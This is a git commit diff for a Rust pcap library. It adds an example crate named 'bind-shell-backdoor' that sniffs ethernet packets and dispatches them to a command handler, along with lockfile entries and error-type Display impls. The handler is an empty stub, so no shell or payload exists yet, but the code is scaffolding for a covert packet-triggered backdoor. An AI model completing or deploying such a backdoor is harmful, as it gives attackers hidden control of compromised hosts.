feat: added a pcap listener to parse commands
This commit is contained in:
parent
bac3e56f3c
commit
e0c7e1c240
44
Cargo.lock
generated
44
Cargo.lock
generated
@ -2,12 +2,34 @@
|
|||||||
# It is not intended for manual editing.
|
# It is not intended for manual editing.
|
||||||
version = 3
|
version = 3
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anyhow"
|
||||||
|
version = "1.0.70"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7de8ce5e0f9f8d88245311066a578d72b7af3e7088f32783804676302df237e4"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "autocfg"
|
name = "autocfg"
|
||||||
version = "1.1.0"
|
version = "1.1.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
|
checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bind-shell-backdoor"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"anyhow",
|
||||||
|
"pcap-sys",
|
||||||
|
"tokio",
|
||||||
|
"tokio-stream",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bytes"
|
||||||
|
version = "1.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cc"
|
name = "cc"
|
||||||
version = "1.0.79"
|
version = "1.0.79"
|
||||||
@ -232,6 +254,15 @@ dependencies = [
|
|||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "signal-hook-registry"
|
||||||
|
version = "1.4.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "slab"
|
name = "slab"
|
||||||
version = "0.4.8"
|
version = "0.4.8"
|
||||||
@ -269,10 +300,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "c3c786bf8134e5a3a166db9b29ab8f48134739014a3eca7bc6bfa95d673b136f"
|
checksum = "c3c786bf8134e5a3a166db9b29ab8f48134739014a3eca7bc6bfa95d673b136f"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"autocfg",
|
"autocfg",
|
||||||
|
"bytes",
|
||||||
"libc",
|
"libc",
|
||||||
"mio",
|
"mio",
|
||||||
"num_cpus",
|
"num_cpus",
|
||||||
"pin-project-lite",
|
"pin-project-lite",
|
||||||
|
"signal-hook-registry",
|
||||||
"socket2",
|
"socket2",
|
||||||
"tokio-macros",
|
"tokio-macros",
|
||||||
"windows-sys 0.48.0",
|
"windows-sys 0.48.0",
|
||||||
@ -289,6 +322,17 @@ dependencies = [
|
|||||||
"syn",
|
"syn",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tokio-stream"
|
||||||
|
version = "0.1.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842"
|
||||||
|
dependencies = [
|
||||||
|
"futures-core",
|
||||||
|
"pin-project-lite",
|
||||||
|
"tokio",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "unicode-ident"
|
name = "unicode-ident"
|
||||||
version = "1.0.8"
|
version = "1.0.8"
|
||||||
|
|||||||
@ -1,5 +1,5 @@
|
|||||||
[workspace]
|
[workspace]
|
||||||
members = ["pcap-sys"]
|
members = ["pcap-sys", "examples/bind-shell-backdoor"]
|
||||||
|
|
||||||
[profile.release]
|
[profile.release]
|
||||||
strip = true
|
strip = true
|
||||||
|
|||||||
12
examples/bind-shell-backdoor/Cargo.toml
Normal file
12
examples/bind-shell-backdoor/Cargo.toml
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
[package]
|
||||||
|
name = "bind-shell-backdoor"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process"] }
|
||||||
|
pcap-sys = { path = "../../pcap-sys" }
|
||||||
|
anyhow = "1.0.70"
|
||||||
|
tokio-stream = "0.1.14"
|
||||||
61
examples/bind-shell-backdoor/src/main.rs
Normal file
61
examples/bind-shell-backdoor/src/main.rs
Normal file
@ -0,0 +1,61 @@
|
|||||||
|
use tokio::{self, sync::mpsc};
|
||||||
|
use tokio_stream::StreamExt;
|
||||||
|
use pcap_sys::{self, packets::EthernetPacket};
|
||||||
|
use anyhow::{anyhow, bail};
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() -> anyhow::Result<()> {
|
||||||
|
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
|
||||||
|
|
||||||
|
let interface_name = interfaces
|
||||||
|
.find(|eth| eth.starts_with("eth"))
|
||||||
|
.ok_or(anyhow!("Could not get an ethernet interface"))?;
|
||||||
|
|
||||||
|
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
|
||||||
|
|
||||||
|
interface.set_buffer_size(8192)?;
|
||||||
|
interface.set_non_blocking(true)?;
|
||||||
|
interface.set_promisc(false)?;
|
||||||
|
interface.set_timeout(10)?;
|
||||||
|
|
||||||
|
let interface = interface.activate()?;
|
||||||
|
|
||||||
|
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
||||||
|
bail!("interface does not support ethernet")
|
||||||
|
}
|
||||||
|
|
||||||
|
enum EventType {
|
||||||
|
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
|
||||||
|
Send(EthernetPacket)
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut packets = interface.stream()?;
|
||||||
|
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
|
||||||
|
|
||||||
|
while let Some(evt) = tokio::select! {
|
||||||
|
v = packets.next() => v.map(EventType::Packet),
|
||||||
|
v = packets_to_send.recv() => v.map(EventType::Send)
|
||||||
|
} {
|
||||||
|
match evt {
|
||||||
|
EventType::Packet(pkt) => {
|
||||||
|
if let Ok(pkt) = pkt {
|
||||||
|
tokio::spawn(handle_command(pkt, packet_sender.clone()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EventType::Send(pkt) => {
|
||||||
|
packets.sendpacket(pkt.pkt())?;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn handle_command(
|
||||||
|
command: EthernetPacket,
|
||||||
|
send_response: mpsc::Sender<EthernetPacket>
|
||||||
|
) -> anyhow::Result<()> {
|
||||||
|
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
@ -16,7 +16,7 @@
|
|||||||
use errno::Errno;
|
use errno::Errno;
|
||||||
use std::{
|
use std::{
|
||||||
convert::From,
|
convert::From,
|
||||||
ffi::{self, CStr, CString},
|
ffi::{self, CStr, CString}, fmt::Display, error,
|
||||||
};
|
};
|
||||||
|
|
||||||
#[derive(Debug)]
|
#[derive(Debug)]
|
||||||
@ -32,6 +32,36 @@ pub enum Error {
|
|||||||
|
|
||||||
pub type Result<T> = std::result::Result<T, Error>;
|
pub type Result<T> = std::result::Result<T, Error>;
|
||||||
|
|
||||||
|
impl Display for Error {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
Error::PcapError(err) => {
|
||||||
|
if let Ok(err_str) = std::str::from_utf8(err.as_bytes()) {
|
||||||
|
return write!(f, "pcap error: {err_str}");
|
||||||
|
}
|
||||||
|
|
||||||
|
write!(f, "unknown pcap error")
|
||||||
|
},
|
||||||
|
Error::StringParse => write!(f, "unable to parse a string from pcap"),
|
||||||
|
Error::UnknownPacketType(ptype) => write!(f, "unknown packet type ({ptype})"),
|
||||||
|
Error::PacketLengthInvalid => write!(f, "received a packet with a length that mismatched the header"),
|
||||||
|
Error::InvalidPcapFd => write!(f, "internal pcap file descriptor error"),
|
||||||
|
Error::Io(io) => write!(f, "std::io error ({io})"),
|
||||||
|
Error::Libc(err) => write!(f, "libc error ({err})"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl error::Error for Error {
|
||||||
|
fn source(&self) -> Option<&(dyn error::Error + 'static)> {
|
||||||
|
match self {
|
||||||
|
Error::Io(err) => Some(err),
|
||||||
|
Error::Libc(err) => Some(err),
|
||||||
|
_ => None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
impl From<&[i8; 256]> for Error {
|
impl From<&[i8; 256]> for Error {
|
||||||
fn from(buf: &[i8; 256]) -> Error {
|
fn from(buf: &[i8; 256]) -> Error {
|
||||||
match CString::new(
|
match CString::new(
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user